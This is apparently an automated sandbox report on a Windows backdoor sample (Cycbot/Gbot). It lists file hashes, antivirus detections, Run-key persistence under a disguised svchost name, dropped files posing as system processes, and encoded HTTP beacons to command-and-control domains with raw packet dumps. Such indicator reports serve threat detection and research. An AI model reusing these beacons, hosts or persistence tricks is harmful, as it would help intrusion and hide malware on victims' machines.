Analysis Date2015-01-17 13:41:39
MD5353d81a6d43d444ce4494f72ae62c392
SHA17b3f8a0b2ddd3ea0d78eeb75c4a7aed28a6f216e

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 68eb69be7863cb814253e213cf281a4b sha1: dfb4b5e969125db447236083b9760cecc8d51953 size: 96256
Section.rdata md5: 222e6e6526f0c4efb7900121d606c096 sha1: 68f96292ff07341a834adced157fb5f1be82f7bf size: 1024
Section.data md5: 95c4afe41cfd453d84fab808ec59bac2 sha1: f852ee12e935b2cec9e59703b615b5537c4c7caf size: 21504
Section.rsrc md5: ab54abe9d2455719196d7bdbd9a29ff7 sha1: befe49fe8fcf72bc73e6c576f07a7530fcc8f293 size: 1024
Timestamp2005-10-09 11:16:59
VersionPrivateBuild: 1057
PEhashf54ecd70b19ec52b8939165ef86b2cdbb3b47367
IMPhashd1718dbe4206608d63b11e2d880d12a2
AV360 Safeno_virus
AVAd-AwareGen:Trojan.Heur.KS.1
AVAlwil (avast)Cybota [Trj]
AVArcabit (arcavir)Gen:Trojan.Heur.KS.1
AVAuthentiumW32/Goolbot.C.gen!Eldorado
AVAvira (antivir)TR/Crypt.XPACK.Gen
AVBullGuardGen:Trojan.Heur.KS.1
AVCA (E-Trust Ino)Win32/FakeSpypro.B!generic
AVCAT (quickheal)Backdoor.Cycbot.B
AVClamAVTrojan.Diple-19
AVDr. WebTrojan.DownLoader1.53198
AVEmsisoftGen:Trojan.Heur.KS.1
AVEset (nod32)Win32/Kryptik.IVA
AVFortinetW32/Krypt.NHL!tr
AVFrisk (f-prot)W32/Goolbot.C.gen!Eldorado
AVF-SecureTrojan-Downloader:W32/Renos.GTC
AVGrisoft (avg)Agent.5.BJ
AVIkarusPacked.Win32.Krap
AVK7Backdoor ( 003210941 )
AVKasperskyBackdoor.Win32.Gbot.bs
AVMalwareBytesSpyware.Passwords.XGen
AVMcafeeBackDoor-EXI.gen.e
AVMicrosoft Security Essentialsno_virus
AVMicroWorld (escan)Gen:Trojan.Heur.KS.1
AVRisingno_virus
AVSophosTroj/FakeAV-CDG
AVSymantecBackdoor.Cycbot!gen2
AVTrend MicroBKDR_CYCBOT.SME
AVVirusBlokAda (vba32)Backdoor.Gbot

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
1
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost ➝
C:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates FileC:\Documents and Settings\Administrator\Application Data\75DE.FFC
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Application Data\dwm.exe%C:\Documents and Settings\Administrator\Application Data
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe%C:\Documents and Settings\Administrator\Local Settings\Temp
Creates Mutex{A5B35993-9674-43cd-8AC7-5BC5013E617B}
Creates Mutex{C66E79CE-8005-4ed9-A6B1-4983619CB922}
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutex{61B98B86-5F44-42b3-BCA1-33904B067B81}
Creates Mutex{7791C364-DE4E-4000-9E92-9CCAFDDD90DC}
Creates Mutex{C66E79CE-8935-4ed9-A6B1-4983619CB925}
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates Mutex{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Winsock DNSdolbyaudiodevice.com
Winsock DNSzoneck.com
Winsock DNSwww.google.com
Winsock DNSmotherboardstest.com
Winsock DNS127.0.0.1
Winsock DNSzonejm.com
Winsock DNSsharewareconnection.com

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Application Data\dwm.exe%C:\Documents and Settings\Administrator\Application Data

Creates ProcessC:\Documents and Settings\Administrator\Application Data\dwm.exe

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe%C:\Documents and Settings\Administrator\Local Settings\Temp

Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe

Process
↳ C:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe

Network Details:

DNSsharewareconnection.com
Type: A
216.240.159.81
DNSmotherboardstest.com
Type: A
204.11.56.45
DNSwww.google.com
Type: A
173.194.37.82
DNSwww.google.com
Type: A
173.194.37.83
DNSwww.google.com
Type: A
173.194.37.84
DNSwww.google.com
Type: A
173.194.37.80
DNSwww.google.com
Type: A
173.194.37.81
DNSzoneck.com
Type: A
208.79.234.132
DNSzonejm.com
Type: A
23.239.15.54
DNSxibudific.cn
Type: A
DNSdolbyaudiodevice.com
Type: A
HTTP GEThttp://motherboardstest.com/images/im133.jpg?tq=gJ4WK%2FSUh7zEhRMw9YLRsrCSUjirw8a3nNQLabnVsMLElls0rNa1x7KTVjnaoLe2wecnKK7Ql6TH51IortCC5IaGUUmp1NLyyZJqtUn5CGFIRQ%3D%3D
User-Agent: gbot/2.3
HTTP GEThttp://sharewareconnection.com/im/s.cgi?tq=gHZutDyMv5rJejDia9nrmsl6giWz%2BJZbVyA%3D
User-Agent: gbot/2.3
HTTP GEThttp://www.google.com/
User-Agent:
HTTP GEThttp://www.google.com/
User-Agent:
HTTP GEThttp://motherboardstest.com/images/im134.jpg?tq=gK4QK%2FSUh7zEtRMw9YLRsrCiUjirw8a3nOQLabnVsMLEpls0rNa1x7KjVjnaoLe2wdcnKK7Qh%2FWR40c%2B2NfS8smiWoNJ%2BQhhSEU%3D
User-Agent: gbot/2.3
HTTP GEThttp://zoneck.com/images/im134.jpg?tq=gK4QK%2FSUh7zEtRMw9YLRsrCiUjirw8a3nOQLabnVsMLEpls0rNa1x7KjVjnaoLe2wdcnKK7Qh%2FWR40c%2B2NfS8smiWoNJ%2BQhhSEU%3D
User-Agent: gbot/2.3
HTTP GEThttp://zoneck.com/images/im133.jpg?tq=gKZEtzyMv5rJqxG1J42pzMffBvQv0%2BjbwvgS917W65rJqlLfgPiWW1cg
User-Agent: gbot/2.3
HTTP GEThttp://zonejm.com/images/im133.jpg?tq=gKZEtzyMv5rJqxG1J42pzMffBvQv0%2BjbwvgS917X65rJqlLfgPiWW1cg
User-Agent: gbot/2.3
Flows TCP192.168.1.1:1031 ➝ 204.11.56.45:80
Flows TCP192.168.1.1:1032 ➝ 216.240.159.81:80
Flows TCP192.168.1.1:1033 ➝ 173.194.37.82:80
Flows TCP192.168.1.1:1034 ➝ 173.194.37.82:80
Flows TCP192.168.1.1:1035 ➝ 204.11.56.45:80
Flows TCP192.168.1.1:1036 ➝ 208.79.234.132:80
Flows TCP192.168.1.1:1037 ➝ 208.79.234.132:80
Flows TCP192.168.1.1:1038 ➝ 23.239.15.54:80

Raw Pcap
0x00000000 (00000)   47455420 2f696d61 6765732f 696d3133   GET /images/im13
0x00000010 (00016)   332e6a70 673f7471 3d674a34 574b2532   3.jpg?tq=gJ4WK%2
0x00000020 (00032)   46535568 377a4568 524d7739 594c5273   FSUh7zEhRMw9YLRs
0x00000030 (00048)   72435355 6a697277 3861336e 4e514c61   rCSUjirw8a3nNQLa
0x00000040 (00064)   626e5673 4d4c456c 6c733072 4e613178   bnVsMLElls0rNa1x
0x00000050 (00080)   374b5456 6a6e616f 4c653277 65636e4b   7KTVjnaoLe2wecnK
0x00000060 (00096)   4b37516c 36544835 31496f72 74434335   K7Ql6TH51IortCC5
0x00000070 (00112)   49614755 556d7031 4e4c7979 5a4a7174   IaGUUmp1NLyyZJqt
0x00000080 (00128)   556e3543 47464952 51253344 25334420   Un5CGFIRQ%3D%3D 
0x00000090 (00144)   48545450 2f312e30 0d0a436f 6e6e6563   HTTP/1.0..Connec
0x000000a0 (00160)   74696f6e 3a20636c 6f73650d 0a486f73   tion: close..Hos
0x000000b0 (00176)   743a206d 6f746865 72626f61 72647374   t: motherboardst
0x000000c0 (00192)   6573742e 636f6d0d 0a416363 6570743a   est.com..Accept:
0x000000d0 (00208)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x000000e0 (00224)   3a206762 6f742f32 2e330d0a 0d0a       : gbot/2.3....

0x00000000 (00000)   47455420 2f696d2f 732e6367 693f7471   GET /im/s.cgi?tq
0x00000010 (00016)   3d67485a 75744479 4d763572 4a656a44   =gHZutDyMv5rJejD
0x00000020 (00032)   6961396e 726d736c 36676957 7a253242   ia9nrmsl6giWz%2B
0x00000030 (00048)   4a5a6256 79412533 44204854 54502f31   JZbVyA%3D HTTP/1
0x00000040 (00064)   2e300d0a 436f6e6e 65637469 6f6e3a20   .0..Connection: 
0x00000050 (00080)   636c6f73 650d0a48 6f73743a 20736861   close..Host: sha
0x00000060 (00096)   72657761 7265636f 6e6e6563 74696f6e   rewareconnection
0x00000070 (00112)   2e636f6d 0d0a4163 63657074 3a202a2f   .com..Accept: */
0x00000080 (00128)   2a0d0a55 7365722d 4167656e 743a2067   *..User-Agent: g
0x00000090 (00144)   626f742f 322e330d 0a0d0a              bot/2.3....

0x00000000 (00000)   47455420 2f204854 54502f31 2e300d0a   GET / HTTP/1.0..
0x00000010 (00016)   436f6e6e 65637469 6f6e3a20 636c6f73   Connection: clos
0x00000020 (00032)   650d0a48 6f73743a 20777777 2e676f6f   e..Host: www.goo
0x00000030 (00048)   676c652e 636f6d0d 0a416363 6570743a   gle.com..Accept:
0x00000040 (00064)   202a2f2a 0d0a0d0a 6c733072 4e613178    */*....ls0rNa1x
0x00000050 (00080)   374b5456 6a6e616f 4c653277 65636e4b   7KTVjnaoLe2wecnK
0x00000060 (00096)   4b37516c 36544835 31496f72 74434335   K7Ql6TH51IortCC5
0x00000070 (00112)   49614755 556d7031 4e4c7979 5a4a7174   IaGUUmp1NLyyZJqt
0x00000080 (00128)   556e3543 47464952 51253344 25334420   Un5CGFIRQ%3D%3D 
0x00000090 (00144)   48545450 2f312e30 0d0a436f 6e6e6563   HTTP/1.0..Connec
0x000000a0 (00160)   74696f6e 3a20636c 6f73650d 0a486f73   tion: close..Hos
0x000000b0 (00176)   743a206d 6f746865 72626f61 72647374   t: motherboardst
0x000000c0 (00192)   6573742e 636f6d0d 0a416363 6570743a   est.com..Accept:
0x000000d0 (00208)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x000000e0 (00224)   3a206762 6f742f32 2e330d0a 0d0a       : gbot/2.3....

0x00000000 (00000)   47455420 2f204854 54502f31 2e300d0a   GET / HTTP/1.0..
0x00000010 (00016)   436f6e6e 65637469 6f6e3a20 636c6f73   Connection: clos
0x00000020 (00032)   650d0a48 6f73743a 20777777 2e676f6f   e..Host: www.goo
0x00000030 (00048)   676c652e 636f6d0d 0a416363 6570743a   gle.com..Accept:
0x00000040 (00064)   202a2f2a 0d0a0d0a 6c733072 4e613178    */*....ls0rNa1x
0x00000050 (00080)   374b5456 6a6e616f 4c653277 65636e4b   7KTVjnaoLe2wecnK
0x00000060 (00096)   4b37516c 36544835 31496f72 74434335   K7Ql6TH51IortCC5
0x00000070 (00112)   49614755 556d7031 4e4c7979 5a4a7174   IaGUUmp1NLyyZJqt
0x00000080 (00128)   556e3543 47464952 51253344 25334420   Un5CGFIRQ%3D%3D 
0x00000090 (00144)   48545450 2f312e30 0d0a436f 6e6e6563   HTTP/1.0..Connec
0x000000a0 (00160)   74696f6e 3a20636c 6f73650d 0a486f73   tion: close..Hos
0x000000b0 (00176)   743a206d 6f746865 72626f61 72647374   t: motherboardst
0x000000c0 (00192)   6573742e 636f6d0d 0a416363 6570743a   est.com..Accept:
0x000000d0 (00208)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x000000e0 (00224)   3a206762 6f742f32 2e330d0a 0d0a       : gbot/2.3....

0x00000000 (00000)   47455420 2f696d61 6765732f 696d3133   GET /images/im13
0x00000010 (00016)   342e6a70 673f7471 3d674b34 514b2532   4.jpg?tq=gK4QK%2
0x00000020 (00032)   46535568 377a4574 524d7739 594c5273   FSUh7zEtRMw9YLRs
0x00000030 (00048)   72436955 6a697277 3861336e 4f514c61   rCiUjirw8a3nOQLa
0x00000040 (00064)   626e5673 4d4c4570 6c733072 4e613178   bnVsMLEpls0rNa1x
0x00000050 (00080)   374b6a56 6a6e616f 4c653277 64636e4b   7KjVjnaoLe2wdcnK
0x00000060 (00096)   4b375168 25324657 52343063 25324232   K7Qh%2FWR40c%2B2
0x00000070 (00112)   4e665338 736d6957 6f4e4a25 32425168   NfS8smiWoNJ%2BQh
0x00000080 (00128)   68534555 25334420 48545450 2f312e30   hSEU%3D HTTP/1.0
0x00000090 (00144)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x000000a0 (00160)   6f73650d 0a486f73 743a206d 6f746865   ose..Host: mothe
0x000000b0 (00176)   72626f61 72647374 6573742e 636f6d0d   rboardstest.com.
0x000000c0 (00192)   0a416363 6570743a 202a2f2a 0d0a5573   .Accept: */*..Us
0x000000d0 (00208)   65722d41 67656e74 3a206762 6f742f32   er-Agent: gbot/2
0x000000e0 (00224)   2e330d0a 0d0a2f32 2e330d0a 0d0a       .3..../2.3....

0x00000000 (00000)   47455420 2f696d61 6765732f 696d3133   GET /images/im13
0x00000010 (00016)   342e6a70 673f7471 3d674b34 514b2532   4.jpg?tq=gK4QK%2
0x00000020 (00032)   46535568 377a4574 524d7739 594c5273   FSUh7zEtRMw9YLRs
0x00000030 (00048)   72436955 6a697277 3861336e 4f514c61   rCiUjirw8a3nOQLa
0x00000040 (00064)   626e5673 4d4c4570 6c733072 4e613178   bnVsMLEpls0rNa1x
0x00000050 (00080)   374b6a56 6a6e616f 4c653277 64636e4b   7KjVjnaoLe2wdcnK
0x00000060 (00096)   4b375168 25324657 52343063 25324232   K7Qh%2FWR40c%2B2
0x00000070 (00112)   4e665338 736d6957 6f4e4a25 32425168   NfS8smiWoNJ%2BQh
0x00000080 (00128)   68534555 25334420 48545450 2f312e30   hSEU%3D HTTP/1.0
0x00000090 (00144)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x000000a0 (00160)   6f73650d 0a486f73 743a207a 6f6e6563   ose..Host: zonec
0x000000b0 (00176)   6b2e636f 6d0d0a41 63636570 743a202a   k.com..Accept: *
0x000000c0 (00192)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x000000d0 (00208)   67626f74 2f322e33 0d0a0d0a 6f742f32   gbot/2.3....ot/2
0x000000e0 (00224)   2e330d0a 0d0a2f32 2e330d0a 0d0a       .3..../2.3....

0x00000000 (00000)   47455420 2f696d61 6765732f 696d3133   GET /images/im13
0x00000010 (00016)   332e6a70 673f7471 3d674b5a 45747a79   3.jpg?tq=gKZEtzy
0x00000020 (00032)   4d763572 4a717847 314a3432 707a4d66   Mv5rJqxG1J42pzMf
0x00000030 (00048)   66427651 76302532 426a6277 76675339   fBvQv0%2BjbwvgS9
0x00000040 (00064)   31375736 35724a71 6c4c6667 50695757   17W65rJqlLfgPiWW
0x00000050 (00080)   31636720 48545450 2f312e30 0d0a436f   1cg HTTP/1.0..Co
0x00000060 (00096)   6e6e6563 74696f6e 3a20636c 6f73650d   nnection: close.
0x00000070 (00112)   0a486f73 743a207a 6f6e6563 6b2e636f   .Host: zoneck.co
0x00000080 (00128)   6d0d0a41 63636570 743a202a 2f2a0d0a   m..Accept: */*..
0x00000090 (00144)   55736572 2d416765 6e743a20 67626f74   User-Agent: gbot
0x000000a0 (00160)   2f322e33 0d0a0d0a 743a207a 6f6e6563   /2.3....t: zonec
0x000000b0 (00176)   6b2e636f 6d0d0a41 63636570 743a202a   k.com..Accept: *
0x000000c0 (00192)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x000000d0 (00208)   67626f74 2f322e33 0d0a0d0a 6f742f32   gbot/2.3....ot/2
0x000000e0 (00224)   2e330d0a 0d0a2f32 2e330d0a 0d0a       .3..../2.3....

0x00000000 (00000)   47455420 2f696d61 6765732f 696d3133   GET /images/im13
0x00000010 (00016)   332e6a70 673f7471 3d674b5a 45747a79   3.jpg?tq=gKZEtzy
0x00000020 (00032)   4d763572 4a717847 314a3432 707a4d66   Mv5rJqxG1J42pzMf
0x00000030 (00048)   66427651 76302532 426a6277 76675339   fBvQv0%2BjbwvgS9
0x00000040 (00064)   31375836 35724a71 6c4c6667 50695757   17X65rJqlLfgPiWW
0x00000050 (00080)   31636720 48545450 2f312e30 0d0a436f   1cg HTTP/1.0..Co
0x00000060 (00096)   6e6e6563 74696f6e 3a20636c 6f73650d   nnection: close.
0x00000070 (00112)   0a486f73 743a207a 6f6e656a 6d2e636f   .Host: zonejm.co
0x00000080 (00128)   6d0d0a41 63636570 743a202a 2f2a0d0a   m..Accept: */*..
0x00000090 (00144)   55736572 2d416765 6e743a20 67626f74   User-Agent: gbot
0x000000a0 (00160)   2f322e33 0d0a0d0a 743a207a 6f6e6563   /2.3....t: zonec
0x000000b0 (00176)   6b2e636f 6d0d0a41 63636570 743a202a   k.com..Accept: *
0x000000c0 (00192)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x000000d0 (00208)   67626f74 2f322e33 0d0a0d0a 6f742f32   gbot/2.3....ot/2
0x000000e0 (00224)   2e330d0a 0d0a2f32 2e330d0a 0d0a       .3..../2.3....


Strings
.

040904b0
1057
B&reak
C&ompile
&Data
MS Sans Serif
PrivateBuild
StringFileInfo
Translation
VarFileInfo
VS_VERSION_INFO
58HAf 
7eXxx*fX
7-i5LM*
8gX<&XT
8SBT7N
8v,dX_M
9nj,,A
=9t-h8
Bb!z^97L
bZ&Zj)
c,8NZq
ccB,>2
ccocNb
cHz=MS
CloseHandle
c-N!YeX
CreateEventA
CreateSemaphoreA
CreateStdAccessibleObject
CreateThread
@.data
+DB7|B
DeleteCriticalSection
DjJUCHxh|
DqW`cE
d\r>$wl
,~DX.=
DXdXEX
dXS``-
DXwH%X
dXw&X9dX@
_dX&X<@
dX>/$X
/DX%XX
EnterCriticalSection
EnumResourceNamesA
,EX/,@
eX6dXHFX
eXdX)`
EXDXZB
eX	FX#
.EX/]FX
eXhL&X
eX{i>o
ExitProcess
)E yxbL>
f6gL3Q@
FindClose
FindFirstFileW
FreeEnvironmentStringsA
fXDXM,
fXfXgX
FXneXdXT!
^FXN,s
fXnvux
FX=tiO
|;FXWI
fXW'X5
\{fX]'X
FX$XGX
	fX)%XJdXDX
GetDriveTypeW
GetLastError
GetLocalTime
GetStartupInfoA
GetSystemTimeAsFileTime
GetThreadPriority
?\?gX*
?gX]DX
]|gXeX
gXFXxx
gXnfX{
gX$Xj9
gX{&XZ
hLocah
hn)wUt
InitializeCriticalSection
=jK|7P
jK&X7>
J&Xw&Xb
\j&X%Xh
KERNEL32.dll
?KI}y-
~	kk]s
KLfXeX
K*LRV&$!
>kw;fX
LeaveCriticalSection
LfX/o:
LoadLibraryA
LresultFromObject
m6leXv
MDXowC
mDXW}	
MgX$X"
-_MLY3
Nc8c>c
NjdXw_
NSjC::_
nWl$XgXw
N$X$X+r
Nz7l'XT
ocIH7?
%O%@cJ
OLEACC.dll
o]>u6.
oV4V]4
~p(FC~
PvSn&`
`.rdata
ReadFile
ReleaseSemaphore
?S}Cc9
SetEndOfFile
SetEvent
SetFilePointer
!This program cannot be run in DOS mode.
^tj<V3
TYcjHcX
Ug!/(1
v>EX~:
	vIJ)!
VIJMN~
vm`cqkC
V[o~}D
|VUZ/V
Vx!sqf
V'X$X0
WaitForMultipleObjects
WaitForSingleObject
w	eXdX+\
WriteFile
&<W\;Rxl
X]4weX
X+5fXn
X5YGXl
X7gX5IgX0
X7NEXR
X8gXfX
XdX,8FX
XDXUdX3
X+DX'X
&X:eXA
XeX};T
XEXWlc
X^EX&XS
,/%XfX
%X^FX/
XfXFX{
XFXFXv9
X(fXGX
XFXHmGXA
XfX^JeXDX$X)
XFX-nlH
XFXx^3
X-gX	1
XgX7O:
X:GX-8
&XgX8A
X)gXGXGX
xGXj-5W
$XgXKJ
X~GXm]
XgX.w4
	&XgXY
X+GXz4k
.x)?HC
XhJ_jm8{
%XH;n4IS
'XhQh%
'XH/vv
Xj6;m@
$Xk8&X
XkfXFXeX
XK+j%XS
XKU;N!
XmIT_!
Xm	$XDXT5
X|n:EX
XO5zZh
Xo<y_$X
Xt>FXs
?/x Ti
X^?udX
XvTOM\
X+;v'X
;[*&XW
XWOv;<
X?&XFX
XX_FX%X'X
X<%X[L
X;'X+N
X$X|t1
X&X*'X
&Xz\eX
:%XzfX
XZidX)?<
XZ'Xyi
y]eX/DX
ygX+_S
yI9&Xj
;YIvHmv
YKiC&A
Y~N^FX
YwxfXl
Z`:01M
Z{GXi	)
z%IvL|?%
zLUgXu
Z>Op d
z%XT?5s